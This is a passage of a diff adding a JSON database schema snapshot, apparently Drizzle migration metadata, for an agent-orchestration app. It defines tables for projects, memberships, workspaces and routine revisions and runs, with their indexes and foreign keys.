+      "isRLSEnabled": false
+    },
+    "public.project_goals": {
+      "name": "project_goals",
+      "schema": "",
+      "columns": {
+        "project_id": {
+          "name": "project_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "goal_id": {
+          "name": "goal_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "project_goals_project_idx": {
+          "name": "project_goals_project_idx",
+          "columns": [
+            {
+              "expression": "project_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "project_goals_goal_idx": {
+          "name": "project_goals_goal_idx",
+          "columns": [
+            {
+              "expression": "goal_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "project_goals_company_idx": {
+          "name": "project_goals_company_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "project_goals_project_id_projects_id_fk": {
+          "name": "project_goals_project_id_projects_id_fk",
+          "tableFrom": "project_goals",
+          "tableTo": "projects",
+          "columnsFrom": [
+            "project_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "project_goals_goal_id_goals_id_fk": {
+          "name": "project_goals_goal_id_goals_id_fk",
+          "tableFrom": "project_goals",
+          "tableTo": "goals",
+          "columnsFrom": [
+            "goal_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "project_goals_company_id_companies_id_fk": {
+          "name": "project_goals_company_id_companies_id_fk",
+          "tableFrom": "project_goals",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {
+        "project_goals_project_id_goal_id_pk": {
+          "name": "project_goals_project_id_goal_id_pk",
+          "columns": [
+            "project_id",
+            "goal_id"
+          ]
+        }
+      },
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.project_memberships": {
+      "name": "project_memberships",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "project_id": {
+          "name": "project_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "user_id": {
+          "name": "user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "state": {
+          "name": "state",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'joined'"
+        },
+        "starred_at": {
+          "name": "starred_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "project_memberships_company_user_idx": {
+          "name": "project_memberships_company_user_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "user_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "project_memberships_company_user_starred_idx": {
+          "name": "project_memberships_company_user_starred_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "user_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "starred_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "project_memberships_project_idx": {
+          "name": "project_memberships_project_idx",
+          "columns": [
+            {
+              "expression": "project_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "project_memberships_company_user_project_uq": {
+          "name": "project_memberships_company_user_project_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "user_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "project_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "project_memberships_company_id_companies_id_fk": {
+          "name": "project_memberships_company_id_companies_id_fk",
+          "tableFrom": "project_memberships",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "project_memberships_project_id_projects_id_fk": {
+          "name": "project_memberships_project_id_projects_id_fk",
+          "tableFrom": "project_memberships",
+          "tableTo": "projects",
+          "columnsFrom": [
+            "project_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.project_workspaces": {
+      "name": "project_workspaces",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "project_id": {
+          "name": "project_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "name": {
+          "name": "name",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "source_type": {
+          "name": "source_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'local_path'"
+        },
+        "cwd": {
+          "name": "cwd",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "repo_url": {
+          "name": "repo_url",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "repo_ref": {
+          "name": "repo_ref",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "default_ref": {
+          "name": "default_ref",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "visibility": {
+          "name": "visibility",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'default'"
+        },
+        "setup_command": {
+          "name": "setup_command",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "cleanup_command": {
+          "name": "cleanup_command",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "remote_provider": {
+          "name": "remote_provider",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "remote_workspace_ref": {
+          "name": "remote_workspace_ref",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "shared_workspace_key": {
+          "name": "shared_workspace_key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "metadata": {
+          "name": "metadata",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "is_primary": {
+          "name": "is_primary",
+          "type": "boolean",
+          "primaryKey": false,
+          "notNull": true,
+          "default": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "project_workspaces_company_project_idx": {
+          "name": "project_workspaces_company_project_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "project_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "project_workspaces_project_primary_idx": {
+          "name": "project_workspaces_project_primary_idx",
+          "columns": [
+            {
+              "expression": "project_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "is_primary",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "project_workspaces_project_source_type_idx": {
+          "name": "project_workspaces_project_source_type_idx",
+          "columns": [
+            {
+              "expression": "project_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "source_type",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "project_workspaces_company_shared_key_idx": {
+          "name": "project_workspaces_company_shared_key_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "shared_workspace_key",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "project_workspaces_project_remote_ref_idx": {
+          "name": "project_workspaces_project_remote_ref_idx",
+          "columns": [
+            {
+              "expression": "project_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "remote_provider",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "remote_workspace_ref",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "project_workspaces_company_id_companies_id_fk": {
+          "name": "project_workspaces_company_id_companies_id_fk",
+          "tableFrom": "project_workspaces",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "project_workspaces_project_id_projects_id_fk": {
+          "name": "project_workspaces_project_id_projects_id_fk",
+          "tableFrom": "project_workspaces",
+          "tableTo": "projects",
+          "columnsFrom": [
+            "project_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.projects": {
+      "name": "projects",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "goal_id": {
+          "name": "goal_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "name": {
+          "name": "name",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "description": {
+          "name": "description",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'backlog'"
+        },
+        "lead_agent_id": {
+          "name": "lead_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "target_date": {
+          "name": "target_date",
+          "type": "date",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "color": {
+          "name": "color",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "icon": {
+          "name": "icon",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "env": {
+          "name": "env",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "pause_reason": {
+          "name": "pause_reason",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "paused_at": {
+          "name": "paused_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "execution_workspace_policy": {
+          "name": "execution_workspace_policy",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "archived_at": {
+          "name": "archived_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "projects_company_idx": {
+          "name": "projects_company_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "projects_company_id_companies_id_fk": {
+          "name": "projects_company_id_companies_id_fk",
+          "tableFrom": "projects",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "projects_goal_id_goals_id_fk": {
+          "name": "projects_goal_id_goals_id_fk",
+          "tableFrom": "projects",
+          "tableTo": "goals",
+          "columnsFrom": [
+            "goal_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "projects_lead_agent_id_agents_id_fk": {
+          "name": "projects_lead_agent_id_agents_id_fk",
+          "tableFrom": "projects",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "lead_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.routine_documents": {
+      "name": "routine_documents",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "routine_id": {
+          "name": "routine_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "document_id": {
+          "name": "document_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "key": {
+          "name": "key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "routine_documents_company_routine_key_uq": {
+          "name": "routine_documents_company_routine_key_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "routine_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "key",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "routine_documents_document_uq": {
+          "name": "routine_documents_document_uq",
+          "columns": [
+            {
+              "expression": "document_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "routine_documents_company_routine_updated_idx": {
+          "name": "routine_documents_company_routine_updated_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "routine_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "updated_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "routine_documents_company_id_companies_id_fk": {
+          "name": "routine_documents_company_id_companies_id_fk",
+          "tableFrom": "routine_documents",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "routine_documents_routine_id_routines_id_fk": {
+          "name": "routine_documents_routine_id_routines_id_fk",
+          "tableFrom": "routine_documents",
+          "tableTo": "routines",
+          "columnsFrom": [
+            "routine_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "routine_documents_document_id_documents_id_fk": {
+          "name": "routine_documents_document_id_documents_id_fk",
+          "tableFrom": "routine_documents",
+          "tableTo": "documents",
+          "columnsFrom": [
+            "document_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.routine_revisions": {
+      "name": "routine_revisions",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "routine_id": {
+          "name": "routine_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "revision_number": {
+          "name": "revision_number",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "title": {
+          "name": "title",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "description": {
+          "name": "description",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "snapshot": {
+          "name": "snapshot",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "change_summary": {
+          "name": "change_summary",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "restored_from_revision_id": {
+          "name": "restored_from_revision_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_agent_id": {
+          "name": "created_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_user_id": {
+          "name": "created_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_run_id": {
+          "name": "created_by_run_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "responsible_user_id": {
+          "name": "responsible_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "routine_revisions_routine_revision_uq": {
+          "name": "routine_revisions_routine_revision_uq",
+          "columns": [
+            {
+              "expression": "routine_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "revision_number",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "routine_revisions_company_routine_created_idx": {
+          "name": "routine_revisions_company_routine_created_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "routine_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "routine_revisions_company_responsible_user_idx": {
+          "name": "routine_revisions_company_responsible_user_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "responsible_user_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "routine_revisions_company_id_companies_id_fk": {
+          "name": "routine_revisions_company_id_companies_id_fk",
+          "tableFrom": "routine_revisions",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "routine_revisions_routine_id_routines_id_fk": {
+          "name": "routine_revisions_routine_id_routines_id_fk",
+          "tableFrom": "routine_revisions",
+          "tableTo": "routines",
+          "columnsFrom": [
+            "routine_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "routine_revisions_restored_from_revision_id_routine_revisions_id_fk": {
+          "name": "routine_revisions_restored_from_revision_id_routine_revisions_id_fk",
+          "tableFrom": "routine_revisions",
+          "tableTo": "routine_revisions",
+          "columnsFrom": [
+            "restored_from_revision_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "routine_revisions_created_by_agent_id_agents_id_fk": {
+          "name": "routine_revisions_created_by_agent_id_agents_id_fk",
+          "tableFrom": "routine_revisions",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "created_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "routine_revisions_created_by_run_id_heartbeat_runs_id_fk": {
+          "name": "routine_revisions_created_by_run_id_heartbeat_runs_id_fk",
+          "tableFrom": "routine_revisions",
+          "tableTo": "heartbeat_runs",
+          "columnsFrom": [
+            "created_by_run_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.routine_runs": {
+      "name": "routine_runs",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "routine_id": {
+          "name": "routine_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "trigger_id": {
+          "name": "trigger_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "source": {
+          "name": "source",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'received'"
+        },
+        "triggered_at": {
+          "name": "triggered_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "routine_revision_id": {
+          "name": "routine_revision_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "responsible_user_id": {
+          "name": "responsible_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "idempotency_key": {
+          "name": "idempotency_key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "trigger_payload": {
+          "name": "trigger_payload",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "dispatch_fingerprint": {
+          "name": "dispatch_fingerprint",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "linked_issue_id": {
+          "name": "linked_issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "coalesced_into_run_id": {
+          "name": "coalesced_into_run_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "failure_reason": {
+          "name": "failure_reason",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "completed_at": {
+          "name": "completed_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "routine_runs_company_routine_idx": {
+          "name": "routine_runs_company_routine_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "routine_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "routine_runs_revision_idx": {
+          "name": "routine_runs_revision_idx",
+          "columns": [
+            {
+              "expression": "routine_revision_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "routine_runs_company_responsible_user_idx": {
+          "name": "routine_runs_company_responsible_user_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "responsible_user_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "routine_runs_trigger_idx": {
+          "name": "routine_runs_trigger_idx",
+          "columns": [
+            {
+              "expression": "trigger_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "routine_runs_dispatch_fingerprint_idx": {
+          "name": "routine_runs_dispatch_fingerprint_idx",
+          "columns": [
+            {
+              "expression": "routine_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "dispatch_fingerprint",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "routine_runs_linked_issue_idx": {
+          "name": "routine_runs_linked_issue_idx",
+          "columns": [
+            {
+              "expression": "linked_issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "routine_runs_trigger_idempotency_idx": {
+          "name": "routine_runs_trigger_idempotency_idx",
+          "columns": [
+            {
+              "expression": "trigger_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "idempotency_key",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "routine_runs_company_id_companies_id_fk": {
+          "name": "routine_runs_company_id_companies_id_fk",
+          "tableFrom": "routine_runs",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "routine_runs_routine_id_routines_id_fk": {
+          "name": "routine_runs_routine_id_routines_id_fk",
+          "tableFrom": "routine_runs",
+          "tableTo": "routines",
+          "columnsFrom": [
+            "routine_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
